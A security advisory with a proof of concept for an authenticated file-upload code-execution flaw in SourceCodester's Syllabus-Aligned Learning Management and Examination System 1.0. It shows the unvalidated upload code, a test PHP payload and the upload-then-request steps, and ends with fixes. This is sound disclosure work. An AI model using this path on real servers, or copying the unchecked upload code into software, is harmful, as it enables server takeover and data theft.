SourceCodester Syllabus-Aligned Learning Management and Examination 1.0 - Unrestricted Upload (PoC)

# SourceCodester Syllabus-Aligned Learning Management and Examination System 1.0 - Authenticated Remote Code Execution

## Vendor

SourceCodester

## Product

Syllabus-Aligned Learning Management and Examination System

## Affected Version

1.0

## Vulnerability Type

CWE-434 - Unrestricted Upload of File with Dangerous Type

## Severity

High

## Description

An authenticated Remote Code Execution vulnerability exists in SourceCodester Syllabus-Aligned Learning Management and Examination System 1.0.

The file upload functionality implemented in `upload_files.php` allows instructor users to upload arbitrary files without validating file extensions or MIME types. Uploaded files are stored inside the web-accessible directory:

```
uploads/class_docs/
```

Because uploaded files retain their original extension and are directly accessible through the web server, an attacker can upload a malicious PHP file and execute arbitrary server-side code.

## Affected File

```
upload_files.php
```

## Technical Details

The application extracts the uploaded file extension and stores the uploaded file without enforcing an allowlist:

```php
$original_name = basename($_FILES["class_doc"]["name"]);
$ext = strtolower(pathinfo($original_name, PATHINFO_EXTENSION));

$new_filename = "DOC_" . $subject_id . "_" . time() . "_" . uniqid() . "." . $ext;

move_uploaded_file($_FILES["class_doc"]["tmp_name"], $target_file);
```

No validation is performed to restrict dangerous extensions such as:

```
.php
.phtml
.phar
```

Uploaded files are later exposed through direct URLs.

## Proof of Concept

### Payload

Create a file named:

```php
<?php echo "RCE_TEST"; ?>
```

Save it as:

```
test.php
```

### Upload

Login as an instructor and navigate to:

```
upload_files.php?subject_id=11
```

Upload:

```
test.php
```

### Access Uploaded File

Example:

```
http://localhost/cictportal/uploads/class_docs/DOC_11_1780489432_6a201cd8df641.php
```

### Result

The application executes the uploaded PHP code and returns:

```
RCE_TEST
```

This confirms successful server-side code execution.

## Impact

An authenticated instructor can:

* Execute arbitrary PHP code
* Read application files
* Access database credentials
* Modify application data
* Potentially gain full control of the application server

## Suggested Fix

1. Restrict uploads to approved file types (pdf, doc, docx).
2. Verify MIME types server-side.
3. Store uploaded files outside the web root.
4. Disable PHP execution in upload directories.
5. Serve uploaded files through a controlled download handler.

## Credits

Discovered and reported by: [Ameen KBRD]
Date: [03-06-2026]